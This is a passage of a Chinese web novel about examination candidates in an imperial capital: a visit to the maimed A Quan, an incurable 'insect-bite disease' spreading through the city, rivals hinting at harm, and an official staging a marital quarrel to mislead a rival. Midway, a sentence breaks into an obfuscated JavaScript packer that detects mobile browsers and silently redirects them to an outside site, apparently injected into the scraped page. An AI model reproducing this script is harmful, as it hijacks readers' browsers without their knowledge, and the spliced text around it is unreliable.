阿权不是本地人，先前带母来京看病，受了游家二伯的恩，后来和母亲住在城南的贫民巷子，靠着都察院门吏的微薄收入，维持母子俩的生活。 前阵子，姜归和游乘发现会试主考官张伦，和副都御史李司勾结，收受贿赂、扰乱会试，想把揭帖递交给都察院。 阿权听说后，揽下了这事，没想到帖子被李司的人拦截，阿权本人还被李司的人带走。 为了惩戒阿权和背后的姜归、游乘，那些人砍断了阿权的左手，还灌了哑药。 所幸那群人还有良知，送阿权去医馆，经过大夫的精心照料，才苟活下来。 如今，李司已被皇帝下旨斩首，首级挂在城楼示众，家产全被查抄，家眷也被流放三千里，可阿权哥哥的伤，却再也好不了了。 两人骑马，往城南走。 越往南，街越窄，宅子也越破旧，到处飘着霉味和馊味。 阿权住在窄巷里，墙矮得能看见院中。 一棵歪斜的梨树上挂着几个没熟的果，游乘回神，勒住马，推开木门，听见院后传来咚咚声。 只见阿权坐在矮凳上，用双脚夹紧木柴，右手笨拙地挥起柴刀，劈着柴。 他穿了件洗得发白的粗布衣，空荡荡的左袖，用布条系在腰间，听见有人过来，抬起头。 顿时，浑浊的眼睛亮了亮，喉咙里一阵辩不清的嗬嗬。 游乘猜到阿权想站起来，却因为太着急，又重心不稳，整个人快要摔倒。 “阿权哥哥，你坐着。” 姜归快步上来，帮忙一起按住阿权的肩。 游乘低头，见阿权的左手腕缠着纱布，露出的皮肤结着褐色的痂，看着触目惊心。 “姜公子，游公子，是你们来了！” 阿权的娘从屋里出来，端着药碗，看见他们二人，红了眼眶。 她把药碗放在阿权脚边，扯起衣摆擦了擦手，“进屋坐，屋里阴凉些。” 这家里陈设十分简单，有一张炕、一张桌和两把椅，墙角堆着几捆劈好的柴。 阿权被他们扶到炕沿坐着，张张嘴，却发不出清晰的声音，只能用右手比划，不知在问什么。 游乘看了一阵，试着帮阿权解释，“哥哥想问我们会试的结果。” 阿权听了只点头。 姜归说，“哥哥，我考了第三名，游兄和他弟弟并列第一，是两个会元！至于那个可恶的李司，已经被斩首了。你为举子们做的事，我和游兄永远都会记着。” 阿权的眼睛里涌出泪水，伸出右手，轻轻摸着姜归满是泪痕的脸，然后用力地点点头，像是在表达高兴。 姜归看着阿权身上的破衣，想起自己的那件夏衣。 他跑到门外，翻找出来，递到阿权面前，“哥哥，这件衣裳稍微大些，你穿着却正好，请不要嫌弃。” 阿权往后缩，使劲摇头。不必问，这件衣裳的料子好，定是姜家长辈给做的庆贺衣裳。 姜归按住他的手，诚恳道，“你必须收下它。若不是你冒险送信，李司还在祸害科场和举子，我们也哪能有今日的会试好名次？这件衣裳，是我的一点心意，你要是不收，我心里不安。” 游乘也在旁劝导，“姜兄说得对，哥哥就收下吧。往后若有难处，只管去侯府找人。虽说我二伯远在西南，我游家的其他长辈也会想办法护着哥哥。” 阿权看着他们，终是点了点头。 他接过衣裳，紧紧抱在怀里，忽然想起什么似的，扯扯姜归的衣袖，做了个捏笔的动作。 阿权娘这时进来，说阿权是想画画给二位看，不知能不能借用二位公子的纸墨。 姜归立刻跑出门外取来纸笔，铺在阿权的炕上。 阿权握着笔，咬着牙，费力地画出几个歪歪扭扭的小人。其中一个举着刀的，倒在地上，旁边两个小人举着手，圆圆的脸上画着上扬的线，还有一个，虽只有一只手，却也是在欢呼。 姜归离得近，盯着画看了半天，没明白是什么，只好看向游乘，“游兄，你看这画……” 游乘凑过来，仔细一看，笑了，“哥哥是说，李司那恶人已经被扳倒，他心里高兴，觉得自己做了一件正确的事，就算受了伤也值得。他还在为我们高兴，祝我们，殿试顺利！” 阿权听见这话，用力点头，又在纸上画了个太阳，指指姜归和游乘，再指指自己。 “哥哥想说，我们大家都会越来越好！”姜归这回看懂了。 从阿权家离开时，游乘趁阿权娘送去大门口，悄悄拿出三百两的银票，塞进炕席底下。 这钱是祖母邓氏给的赏钱，游乘当时没有推辞，原本想攒着给家中几个妹妹买点首饰和吃食，可今日看了阿权的模样，实在不忍心便都留在了阿权家里。 而等阿权发现银票，游乘和姜归已骑马走远，阿权追去巷口，对着背影躬身，眼泪顺着脸颊滑落。 两人骑马，继续往柳树巷走。 日头爬高，越来越热，路过“醉仙楼”，姜归勒住了缰绳。 听那酒肆里人声鼎沸，隔着窗户都看见了举子们举着酒杯，高声谈笑。而墙上贴着红喜报，写着“恭贺某某高中会试”。二楼的窗边，也有举子手拿酒壶，边喝边吟诗作对，春风得意。 “好多上榜的举子在庆贺。” 姜归叹了口气，目光扫过游乘身上的素衣，“可惜侯府还在丧期，我不能请你好好喝一杯。” 酒肆里的举子拍着桌子庆贺，有的甚至唱起了歌。 游乘早就注意到这些动静，故意不去多看多想。 他对姜归笑笑，“等殿试之后，咱们入了仕，到下半年，天气凉快了，咱们叫上游余，找个好地方喝一场，不醉不归。到时候，把阿权哥哥也带上。” “好！” 姜归眼睛亮了，仿佛已经想像出那场景，“到时，我要喝个痛快，把这些年的辛苦都忘了！” 游乘笑着点头，刚要打马鞭，瞥见酒肆旁边的一家医馆门口，围着几个人，吵吵嚷嚷的。 那医馆招牌上写着“济世堂”，门口站着个伙计，正苦着脸，伸手去拉一个跪在地上的汉子。汉子的怀里抱着个孩子，看起来只有五六岁，脸色苍白，闭着眼睛，像是睡着了。在旁边，一个妇人趴在医馆的门槛上，哭得撕心裂肺，双手紧紧抓着门槛，不肯松开。 “还是走吧，你孩子这伤病，我家大夫真的无能为力！” 伙计的话带着几分不耐烦，用力推搡汉子的胳膊，“我们真的已经尽力，再待下去也没用啊！” “求你们救救我儿子！” 妇人仍在哭喊，嘶哑道，“我孩子才六岁，要是死了，我也活不成了！我给你们磕头了！”说着松开门槛，就要往地上磕。 伙计只能拦住她，“别这样，我们真没办法。你们赶紧带孩子回家，好好陪他最后几天吧。” 听到这里，游乘皱了皱眉，勒住马跳下来，“过去看看。” 姜归也跟着下马，快步赶上。 到了店门前，游乘扶起跪在地上的汉子，温和道，“大哥别着急，你慢慢说，孩子到底怎么回事？” 汉子抬起头，原来他脸上满是泪痕，眼睛通红着，指指自家孩子的后颈，“好心公子，你看，孩子身上起了这些疹子，抓得血淋淋的。我们带他去了好几家医馆，都说治不了，让我们带回家准备后事，这病，哪有那么可怕……” 游乘不懂医，猜想就是普通的蚊虫叮咬。 可是姜归凑过去，掀开孩子的衣领。见孩子的后背满是红疹，密密麻麻，有的已经被挠破，渗着血珠。随后，姜归摸摸孩子的额头，果然烫得吓人。 “除了起疹子、发热，还有别的症状吗？” 姜归问道，他自小在乡下长大，见多了蚊虫叮咬、风寒发热的病症，对这些小伤小病，有他自己的经验判断。 汉子刚要开口，怀里的孩子突然尖叫一声，猛地睁开了眼。 不知怎的，孩子目露凶光，像是变了个人，伸出手就抓了汉子的脸。汉子猝不及防，脸上顿时又多了几道血痕，疼得倒抽凉气，却不敢推开自己的孩子，只能死死按住孩子的手。 妇人一看尖叫起来，不想让孩子伤人，准备拉开孩子，却被孩子一下推得摔倒在地，额头磕在门槛上，撞出了血。 医馆里的人听见动静，都跑了出来，好几个伙计拿来一根粗布条，按住孩子的手脚。 “都说过了，这病治不了！你们还不赶紧把孩子带回去，别在外面伤了人！要是伤了其他病人，我们可担不起责任！” 游乘看得心惊，上前帮忙，按住那个疯癫中的孩子。 孩子却还在拼命挣扎，嘴里发出含糊的声响，像是野兽嘶吼，力气也大得惊人。 大人累的不轻，把孩子控制住了，孩子也稍微平静下来。 游乘拉住那位医馆伙计，急切追问，“小哥，孩子到底是什么病？怎么会这么严重？” 伙计认出了游乘，先是愣了下，拱手道，“原来是司宁侯府的游会元，恭喜恭喜！您高中会试会元的事，整个京城都知道了。这位，想必就是榜三的江陵姜公子吧？” 姜归点点头，对着伙计拱手回礼，“不敢当，正是姜某。” “两位公子，真是好本事，年纪轻轻就中了会试，将来必定前途无量。” 伙计笑着恭维了几句，才压低声音说道，“不瞒两位公子，这病，是近来京城盛行的怪病，大家都叫它‘虫咬病’。” 说，得病的人是被一种不知名的虫子叮咬，起疹子。 刚开始看着不严重，可过不了几天，人就会变得暴躁易怒，还会攻击人，到最后五脏俱损，根本活不了多久。 前几天，街尾有个老汉得了这病，没几天就没了，死的时候还在抓自己的胸口，嘴里喊着‘疼’，模样看着吓人。 游乘脸色一变，“五脏俱损？难道就没有医治的办法？太医也治不了吗？” 伙计摊了摊手，脸上满是无奈，“别提太医了！前几天宫里还派人来咱家问过……说是宫里也有几个太监得了这病，太医们会诊了好几次，也没拿出个方子。现在，谁要是得了这病，就跟被判了死刑一样，只能带回家看着，别让他伤了人，好好陪他度过最后几天。我家的大夫医术了得，也一样没办法，只好如实告知大家，毕竟也总不能拿病人的命开玩笑吧？” 游乘沉默了，再看刚才出事的孩子一家，却发现汉子抱着被绑住手脚的孩子，和妇人一起失魂落魄地离开了。那孩子还在断断续续地尖叫，听着尽是痛苦。 旁边路人看着这一家，只是伤心地摇头，毫无办法。 医术上的难题，游乘和姜归更没有办法。 “时候不早了，先去你家，”游乘拍拍姜归的肩，“别让这些事影响心情，眼下殿试很重要。” 姜归明白道理，重新上马，往柳树巷的宅子走。 新院子在巷子尽头，门上的新漆是淡红的，门口挂着两个红灯笼，没点蜡烛，显得有些冷清。 游乘上前点燃，只当是给姜归庆贺乔迁之喜。 推开了大门，院里的榆树繁茂，树下摆着石桌石凳。 大概都是母亲容芝布置的，游乘走到正房，门窗都是新的，窗上贴着剪花，看起来很温馨。 “这院子很清净。” 游乘走进去，屋里一张桌，一把椅，一张木床，都是新打的，有淡淡的木香。 墙角还有几只箱笼，盖子上雕着简单的花纹。 姜归把包袱放在桌上，仔细打开，从里面拿出一支狼毫笔。 笔杆是檀木的，刻着他的名字“姜归”二字，是哥哥卖了家里唯一的牛给他买的。 笔放在了桌中央，姜归看着它，忽然泪如雨下，“该给哥哥嫂嫂写封家书，让他们知道我中了会试，还有了自己的院子。” 游乘拿起他放在桌角的砚台，往里面倒些清水，再拿起墨锭，研磨起来。 墨在砚台里转动，墨汁晕开，散出墨香。 “你写吧。” 游乘看向姜归，手腕转动，“只是你这家书里，不用提银子的事，免得你哥哥嫂嫂担心。这钱，等你入了仕，肯定很快能靠自己还上。” 姜归没舍得用好笔，拿起普通的毛笔，是到京城来后买的便宜货，笔毛已经有些散乱。 他铺开纸，笔尖蘸墨，却迟迟没有落下。因为想起哥哥送他时，站在村口树下，反复叮嘱他，到了京城别省钱，买好墨好纸好好考，哪怕考不上也没关系，家里还有哥哥养他。也想起嫂嫂在灯下缝衣，对他温声细语地笑。 眼眶发热，姜归压下翻涌的心绪，笔终于落在纸上。 他报了平安，又说自己中了会试榜三，接着描述新家，最后叮嘱哥嫂注意身体，等将来自己安定下来，接他们来京城。 游乘看着他写得认真，等他写完最后一字放下笔，才把墨汁往旁挪了挪。 游乘提议，写好的信让侯府的专人送去江陵，通过驿站的驿卒走快马，十天半个月就能到。 “多谢游兄。” 姜归把信叠好，放进信封封口，“没有你和夫人，我在京城真不知会变成何种惨样。” “都是朋友，说这些就见外了。”游乘接过信封塞进袖中，“时候不早，也得回府，你自己收拾，缺什么就去铺子买，铺子里没有，就再去侯府找我，我让管家买好送来。” 姜归送游乘到门前，看他翻身上马，渐渐远去。 直到游乘的马消失在巷口，才转身回了屋。 姜归把旧书摆上书架，每一本都用布擦去面上的灰尘。 《论语》《孟子》这些是他少年时的读本，书页已黄，却写满了他的批注； 再往下放着《历代名臣奏议》，是他来京之后买的，书里同样写满了他总结的论点； 最下面一层，有几本杂记，《山海经》，《水经注》，是些调剂的“闲书”。 他把哥哥买的那支笔放进锦盒。盒子是容芝夫人送的，可用来装贵重笔墨。 他合上锦盒，放在书桌中央，这是他最珍视的稀世珍宝。 另一边，游乘骑着马赶回侯府。 又要路过热闹的街市，他闻到甜香，正是从糕果铺子里飘出来的。 它门口挂着幌子，写“奶酥”“桂花糕”几种招牌点心，游乘想起府里的三个妹妹，大妹游宜，二妹游雅，三妹游绵，都爱吃甜糕果，尤其是三妹游绵，还不到十岁，嘴馋得很，但因为她父亲过世了，母亲李氏整日心情沉郁，时常搬去寒山寺住，疏于照料游绵，别说是吃些甜糕果，就是一日三顿饭，都要靠自己的母亲容芝照顾。 自从家中二伯三伯出事后，妹妹们很少笑了，府里气氛也总是压抑的。 或许带些甜糕果回去，能哄着她们开心些。 游乘勒马，翻身走进糕果铺。 掌柜迎上来，“原来是游大公子，恭喜恭喜，高中会元！您最近不常来，今日想买什么？奶酥是刚做的，还热乎呢，给您包上六盒？博个好彩头！” “行，来些奶酥，再要一盒枣泥糕。” 游乘指指柜台里的其他糕点，“挑最新鲜的，我自己出钱买。” 掌柜麻利地用油纸包好，放进精美的食篮，还特意用红绳系了个结，“公子拿好，一共二十文钱。” 游乘掏些碎银给掌柜，说不用找了，零头是给掌柜的喜钱。 他们游家的书局生意也不小，在京城大有名气，这点小钱不算什么。 掌柜没和游乘瞎客气，一拱手，高声唱道，“小的送游会元！” 游乘接了糕点，要出门，听见身后有人说，“他就是游会元，游乘还是游余？” 游乘回头，见三个青衫举子站在铺子外。 为首的是高个子，颧骨突出。 另外一个瘦脸，一个矮胖。 这三人衣衫都有些补丁，眼下挂着黑青，神色十分落寞，大概是这次会试落榜的外地举子。 高个举子走来，对游乘拱手，“在下张惜，是江陵的举子，前日在贡院外看见过游会元，今日能在此遇见，真是幸会！” 另外两个举子也跟着拱手，报了姓名，一个叫李默，一个叫王磊。 游乘回礼，“三位兄台客气。” 张惜看着游乘，眼里满是羡慕，“游会元，和弟弟一同高中会元，一门双星，可是百年难遇的啊！不知游会元此刻什么心情？这会试，能有两位会元，大约因为难分伯仲，但是殿试从来只有一位状元。你们亲兄弟之间，要争一个状元，想必，你心里不好受吧？” 游乘听出这话里的恶意，却没放在心上，只淡淡一笑，“我弟游余，比我努力得多。他为了写好策论，常常去老师家中请教，有时候就在老师的书房住下，整夜不睡觉，反复修改文章。外人不知情，总议论他早晨贪睡，起得晚，哪知他夜里熬到了什么时候？此次我弟弟能中会元，是靠自己的本事，我做哥哥的，心里只有高兴，没有别的想法。” 李默听言挑眉，朝前走了一步，“游会元倒是大度！可谁都知道，状元只有一个，而且是陛下亲自定的，这里面的门道，可多了。游会元，你就不担心，殿试时会输给弟弟吗？” “输赢都是常事。” 游乘抱着新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278140|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买的糕果盒，“我弟弟有才华，真的中了状元，也是实至名归。我是哥哥，为他高兴还来不及，怎么会担心？” 张惜这时又开了口，“那游会元觉得，这次殿试中，谁最有可能中状元？是你，还是你弟弟，或是其他上榜的举子？” 游乘沉吟片刻，坦诚地看向这三人，“我希望是游余。他比我更渴望这个机会，也比我更努力，他值得这个状元。” 说完对着三人拱手，“还有事，先告辞。” 不等这三人回应，游乘走出了糕果铺，上马，离开。 马蹄声远去，转过了拐角。 刚才的铺子门前，张惜看着游乘的方向，冷笑一声，“他倒是会说漂亮话，什么希望弟弟中状元，我看他是知道自己比不过游余，才故意这么说的。” “可不是嘛！” 李默附和，“满京城都在传，他弟弟游余是太子少詹事升铭大人的私生子？有太子的后台，游乘拿什么和弟弟争？就算游乘有本事，陛下看在升铭大人的面上，也会把状元给游余。” 张惜摸摸下巴，阴恻一笑，提起前几日的琼林宴。 据说，当时游乘只用茶代酒，没等宴席结束就走了人。 其他贡士想找他请教文章，根本没机会。 也在那晚，大家都说，游乘行色匆匆，根本不是因为家里要守丧，而是对会试两个会元的结果不满，又不敢直接发作，只能用这种方式摆脸色。 “说不定，游乘早知道游余不是游家亲生，心里早就憋气！” 张惜压低声音，“你们说啊，要是游余在殿试前出点事，比如……染上了最近盛行的虫咬病，那状元之位，是不是就只能是游乘的了？” 李默和他对视一眼，都露出了意味深长的笑。 李默假意捂张谦的嘴，“这话别乱说，不过世事难料！谁知道，游余有没有那样的‘好运’？” 三人偷笑起来，笑声不大，满是嘲讽。 他们站在铺子前，又互相说了一会，说游乘虚伪，说游余靠后台，说其他上榜的都是庸才。 直到日头偏西，才各自散去。 游乘早已骑马回到司宁侯府。 他进了长房东园，见妹妹们在屋檐下，望着门口的他。 大妹游宜今年十七，与弟弟游余同岁，穿素襦裙，已是该议亲的年纪，却被侯府的丧事耽误着，至今还没定下夫家。 二妹游雅十二，是四伯的女儿，面容可爱，性子开朗，但最近也总是苦着脸。 还有三妹游绵是最可怜的，才九岁，父亲过世，母亲自顾不暇，她一见游乘进门，立刻跑上来抱住了游乘。 “大哥！”游绵扑进他怀里，仰着小脸，“是不是带了好吃的？” 游乘拿出装奶酥和枣泥糕的食篮，递给了最大的游宜，“还热着，大妹妹分给大家一起吃。” 游宜接了糕果，抱过最小的游绵，拉起二妹妹游雅的手，“听话，咱们去正院，先给祖母！” 看着妹妹们的欢快，游乘放心地走进正堂，见母亲容芝拿着账本翻看。 近来会试放榜，落榜的回了老家，他们游家的书局生意逐渐稳定，要好好盘账，盘货。 容芝放下账本，“去了一整天，姜公子安顿好了？” “他让我给母亲带声谢谢，您帮他挑的院子清净，适合读书。” 游乘坐在旁边的椅子上，“他给江陵的哥嫂写了家书，我明天让管家送去驿站。” 容芝点了头，夸他这事办得不错，又想起什么，“前日有媒婆登门，说有个会试考中的湖西贡士，看中你大妹游宜，想来议亲。我一听，湖西人啊！那就算了吧，湖西是李经章的老家，指不定藏着什么陷阱。你大妹要嫁人，也不能嫁湖西人……这也不是我有偏见，游宜自己也是这态度，坚决不嫁湖西人！” 游乘听笑了，应道，“我管不上这些事，但有母亲和祖母帮忙把关，肯定没问题。” 容芝满意道，“眼下什么都没有你和游余的殿试重要，对了，游余呢？还在南屋睡觉？” 游乘一想，道，“早上我出门，他起了，在桌前写文章，说是要修改连夜写的策论。” “盯着他，别让他太累！” 容芝叮嘱着，“读书要紧，更要注意身体，累着了，怎么参加殿试？” 游乘起身，“等会儿去看看他，让他歇会儿。娘，我先去正院看看祖母和妹妹们。” 近来，祖母邓氏的记性不好了，找不到东西，就要发脾气，妹妹们在祖母面前，可不能冲撞。 东园墙根下，管家匆匆赶来，递给游乘一张帖子。 原来宫里派人送帖了，明日皇帝设宴，邀请了几位贡士参加，让游乘和游余到场。 游乘皱眉，“侯府还在丧期，参加宴席要被人议论，不能因此影响了父亲和祖父。” 管家解释道，“宫里送信的人说了，皇帝知道侯府丧期，特意准许您和二哥儿不穿吉服，也不饮酒，陪坐就好，算是……皇帝对你们几位的看重。” 游乘沉吟片刻，“知道了。你进院子去，让游余准备一下。看这情况，也许我和他一起去，也许，可以先不去了。” 管家应声，又听游乘的吩咐，收下姜归写的家书，明日送去驿站。 随后，管家退下。 游乘来到正院，听见祖母的屋里传出一些天真的笑声。 不知三妹妹游绵讲了什么好笑的，逗得一屋子都跟着笑。 游乘站在窗后，伺候祖母的贞嬷嬷发现了他，正要招呼，他赶紧冲嬷嬷比了个嘘。 屋内，妹妹们围着祖母，分食新鲜的奶酥。 这时三妹妹游绵也看见游乘，起身喊道，“大哥？你来了怎么不进来！” 游乘只好从门口进去，先给祖母邓氏问安，再把三妹游绵抱起来，一口咬下游绵喂给他的奶酥。 嘴里甜味散开，游绵问他好不好吃，甜不甜，但他却想起了姜归，阿权，还有医馆门口那绝望的一家子，热泪盈眶。 “好吃，甜，”游乘低头掩食，心中想着，等他和游余入了仕，定要帮百姓多做实事，也愿这世上再没有像阿权、像那病患的一家子那样受苦的人。 京城的深夜，只有偶尔传来的更夫打更声。 一盏盏烛台下，上榜的举子为殿试做着准备，而落榜的，已经收拾行李回了乡，也有的，还在京城徘徊，希望在某家高门深院里谋个差事。 关于虫咬病的传言，还在流传，也许会给京城带来更大的风波。 五月末，京中虫咬病的蔓延，远远超过了预期。 每日天不亮，就有兵马司的兵士挎着刀、扛着绳，穿梭在街巷。 他们的铁靴，纷乱地压过石板，噔噔脆响，令人惶恐。 挨家挨户拍门查验，若里面的人迟迟不应，他们直接撞开门，闯进去拿人。 “出来！都出来检查！”兵士的吼声在巷子回荡。 一户人的门打开了，接着，一位老汉被拽了出来。 他后颈的红疹，密密麻麻，有的已经挠破，血珠淋淋。 老汉正在伤口发作期，嘶吼着，扑向兵士，指甲抠进兵士的胳膊。 见此情形，另一个兵士只好用麻绳缠住老汉的手脚，将他反绑了，扛走。 “放开我爷爷！他只是病了！” 一个十来岁的少年跟着冲出来，牢牢抱住兵士的腿。 下一瞬，他被兵士拉开，没站稳而摔在了地上，额头磕出血。 这少年爬起来还想冲去追赶，被他母亲死死抱住。 接着，母子俩的哭声混着老汉的嘶吼，在清晨的巷子刺耳地扩散开去。 觉得这样的场景太残忍？ 可它每日都在京城各处上演着。 病患家属们被迫与亲人分割，心中的怨恨和不解与日俱增，终是再也压制不住。 也不知是谁起的头。 丧亲的男女老少们，含着眼泪，聚在顺天府衙门口，举着炭笔写的木牌。 “还我亲人”“求医治病”…… 一声高一声低的，爬上衙门口的石狮子，讨说法，振臂高呼。 “凭什么把人捆去城郊？那里连个大夫都没有！” 可怜的妇人们无处发泄，哭着捶打石狮，声声啼血，“你们是官，不是豺狼！不能见死不救！” 顺天府尹，郭敏大人，站在衙内的屏风后。 尽管隔着窗往外看，他仍感到无措，不是他不想见这些百姓，是因为这种虫咬病，无药可救。 郭敏已经派了三拨人去太医院催要药方，可太医院送来的，只有“暂无良策”的说法。 正焦躁时，一个衙役匆匆跑进来，“郭大人！一群穿青衫的举子，去了锦衣卫衙门，闹着要见钱源佥事！” 锦衣卫衙门前。 钱源同样是坐立难安，根本无法静下心来，好好看一看积压待审的卷宗。 衙门外面，传来咚咚的叩门声，中间还有举子们的呼喊。 钱源只好推开值房门，却被眼前的一幕镇住了。 读书人容易被煽动，这一点，钱源在锦衣卫中当差，是早就见识过的。 可此刻，十几个举子跪在门前的场面，却仍叫钱源看了只感到心痛。 这群人中，为首的，是前日落榜的江陵张惜。 原本身弱的书生，此时仰着头，声音洪亮地喊着，“钱佥事！您能扳倒李司那样的恶官，定能查出怪虫的来源！求您救救京城百姓！” 钱源跑出来，扶起张惜，“诸位快快起来！怪虫之事，我已上报宫里，锦衣卫这边也派了人手，在城中各处追查。有了消息，立刻会在衙门前公示、通报！” 话虽如此，钱源心里也是没底的。 派出去追查的锦衣卫，已经查了好一阵，怪虫是没见到的，只在病患家附近的墙角，发现了几处黑色虫粪。 京城的这种慌乱，早已沿着街巷，扩散到了各个衙门里。 吏部，王主事，昨日还在批官员考核的文书，今日一早就发高热，后颈起了连片红疹。 他被兵士抬走时，还在嘶吼…… 户部的两个小吏染病后，也被抓走，库房粮册堆了半人高，没人整理，领粮的百姓在户部衙门外排长队，骂声不断…… 所有衙门里，最棘手的，是礼部。 距离殿试只剩十天，桩桩件件，不能出错。 可如今，又有四位基层主事接连告病，整个衙门里能做事的，都顾不上喝水了，大家不分昼夜，连轴不停，还是赶不上进度。 对此，礼部尚书李经章，因为兼任内阁首辅，忙着在朝堂应对皇帝，处理各地送来的奏折，根本无暇顾及礼部的琐事。 真正挑起重担的，是礼部侍郎，游怜山。 游怜山如今已经不敢躲在值房里了，直接在大门正对的院子，摆起桌椅。 桌上亟待查验的成堆公文，像山一般，难于攀越。 “侍郎大人！国子监送来消息，又有三个学生染病了，”小吏捧着报帖进来，脚步踉跄，眼下青黑，显然也是好几夜没睡。 游怜山快速翻看，赶紧吩咐，“你去找齐主事，让他把这三个学生的名字，从殿试名单里划掉！再派人去国子监，协助兵马司，做好防护，别让事情扩大！” 61. 殿试前夕，侄子回京 礼部小吏替侍郎大人游怜山，出门跑，游怜山本人还是停不了手，拿起本公文，逐条核对。 贡院桌板，屋顶，重新检修，坏的立刻更换。 礼部考房要备足油灯和灯油，防止夜间答题看不清。 日供水源要由专人检查，避免出卫生问题…… 游怜山边念，边用朱笔在修改的地方标记，笔毛在纸上划过，沙沙作响。 忙到午时，游怜山才想起还没吃饭。 他也走不开，想请差役去外面买俩馒头，却听衙门外，传来脚步声。 一抬头，夫人容芝提着食盒走进来。 容芝不是一人来的，身后跟着小丫鬟春丽，春丽手上抱着床新被褥，还有几件浆洗了的男子长衫。 “你怎么来了？” 游怜山疑惑着放下了笔，起身迎上去，衙门重地，一般情况是谢绝家眷入内的。 除非家中有要紧事，必须立刻见到礼部官员。 再一联想到近来京城中的怪病。 游怜山登时感到心惊不已，不等容芝开口，立刻低声问，“难道咱家里有人被虫咬了？！” 容芝也是一惊，赶忙摇头，“没有！” 声音很低，也被他吓得不轻，容芝摁着胸口，连着深呼吸几下，才开口道，“你别自己吓自己了，行不行？” 游怜山看着她的反应，松了口气，好声好气地问：“那到底出了什么事？” 容芝以手掩口，继续低声说道，“父亲母亲听说，你连着熬了三夜，很不放心，让我来给你送些东西。” 说着，她把食盒放在游怜山手上，自己打开盖子。 游怜山伸头看，里面是热粥，酱菜，还有一个装着褐色汤药的瓷碗。 “这又是啥呀？” “粥是母亲亲手熬的，汤药是大夫开的补气血方子，你别多问，快趁热都喝了！” 容芝先把那碗粥端出来，直接喂到了游怜山的嘴边去。 碗沿有些烫，游怜山往后缩了点，推开那碗粥，“……我等等再喝，你放着吧。” 而后，他看向衙门外，正好奇着，容芝是怎么骗过门口的衙役，可以走进衙门来的。 却没留心，嘴边又伸过来一只温热的碗。 游怜山吸吸鼻子，凑近，闻到汤药的苦涩，胃里一阵翻涌。 要怪近来礼部衙门天天烧艾草、苍术驱虫，那股子辛辣的草药味钻进鼻腔，立刻让他产生了应激反应。他猛地偏过头，想躲开容芝端来的那碗药，慌乱之中，手肘一不小心撞到瓷碗。 “哐当！” 瓷碗摔去了地上，汤药溅了一地。 连带着，春丽手里的被褥和长衫也遭了殃。 春丽一声惊呼，连忙往后退，却还是没能躲开，干净的长衫下摆被染成了褐色，脏兮兮的。 见此，容芝的脸色瞬间沉下来。 院中旁边，几个正在整理的小吏听见这边的动静，都停下手里的活，探头往这边看。 这些人的探究和好奇，自然都被容芝看在眼里。 容芝一想，索性深吸一口气，提高声音，满口“怒意”地骂道，“游怜山！这是娘和爹特意让我送来的，你就这么糟蹋了吗？你眼里，还有没有长辈，有没有孝道！” 游怜山愣住，好在二人一起生活多年，早有不必言说的默契。 他明白了容芝的用意，这是要演给周围的人看，坐实他们夫妻不和的传言。 好让远处围观的李经章放松警惕。 一时，游怜山一改刚才的惊讶，昂起了头，同样“恼怒”又生硬地回应容芝，道，“我又不是故意的！这几日衙门事多，我心烦得很，你一个妇人，少在这里胡搅蛮缠！” “我胡搅蛮缠？” 容芝上前一步，声音喊得更响，引得更多目光围过来，“你为了个侍郎的差事，连家都不顾了，天天在衙门里耗着，爹娘好几日没见着你了，天天为你担惊受怕！你倒好，现在连爹娘的心意都不放在眼里了？你……” 她的话没说完，见游怜山突然凑近，快速提醒她，“来，小芝，打我一巴掌，越响越好。” 容芝一愣，看着他坚定的眼神，又扫了一眼旁边围观的小吏，犹豫着问道，“一定要打？” 游怜山点头，“打。” 容芝深吸一口气，高高地扬起右手。 她手腕用力，只听“啪”的一声，在安静的衙门里回荡。 再看游怜山的左脸颊，立马红了一片，五个指印清晰可见，一直红到耳朵。 这一巴掌，叫那些围观的小吏们都惊呆了。 大家手里的文书掉在地上，也没察觉，一个年纪小的吏员甚至张大了嘴巴，忘了合上。 容芝心里有数，继续“气愤”地瞪了游怜山一眼，转身对春丽说，“我们走！以后，再也不来管他的死活！” 主仆二人快步走出衙门。 绣鞋上的玉石坠子晃动，叮叮咚咚的，消失在街口。 这时一个年长的小吏上前来，捡起游怜山脚边地上的碎碗片。 还好心地抱起那床沾了汤药的被褥，语带关切，“侍郎大人，您没事吧？下官这就去拿布把地上擦干净，再让人把被褥洗了。” 游怜山装作刚刚回过神的模样，摸摸自己发红的脸颊，刻意“愤恨”道，“一个泼妇，懂什么朝廷大事！” 吏员抱着被褥，呵呵陪笑，却悄悄与旁边其他人使眼色。 好似在炫耀：听见没？这夫妻俩彻底闹僵了！ 游怜山和妻子在衙门争吵这事儿，像长了翅膀，当天就传遍了整个礼部。 小吏们三三两两地聚在回廊里、值房间，低声议论，“我就说游侍郎和夫人不和，之前还有人不信，现在看来都是真的！” “夫人也太凶了，居然在衙门里打大人，传出去多不好听啊！” “大人也不容易，一边要忙殿试的事，一边还要应付家里的矛盾……” 这些议论很快也传到了李经章的耳中。 李经章坐在内阁值房里，听着礼部的眼线报告，嘴角勾起笑意。 若说之前，自己找游怜山，是没挑准时机，那这时候，游怜山后院起火，又被礼部的琐事缠得脱不开身，正是拉拢的好机会了。 有了之前两次，游怜山的推脱，现在，想必不会再拒绝他了。 日暮时，李经章看准时辰，挑着游怜山肚子饿的时候，派人去礼部，把游怜山叫到了内阁。 李经章坐在软垫上，矮桌上是李家厨子做好送来的丰盛晚膳，应有尽有，“镜水，快坐。” 游怜山拱手行礼，坐下后，背脊依然挺得笔直，但连日劳累的疲惫已是藏不住，全展现在了双目的赤红里。 “这段时间，辛苦你处理礼部衙门的事。” 李经章不显山水，自然地套近乎，而后话锋一转，“杜尚书走后，吏部尚书的位置，也一直空着，陛下那边，着急催我尽快举荐人选。你呢，有能力，之前两次推脱，想必是你有难处，不知道你现在……考虑得怎样？” 游怜山摸摸鼻子。 此时距离殿试只剩五天，他知道，自己还得再撑一撑，不能让李经章觉得他太容易上钩。 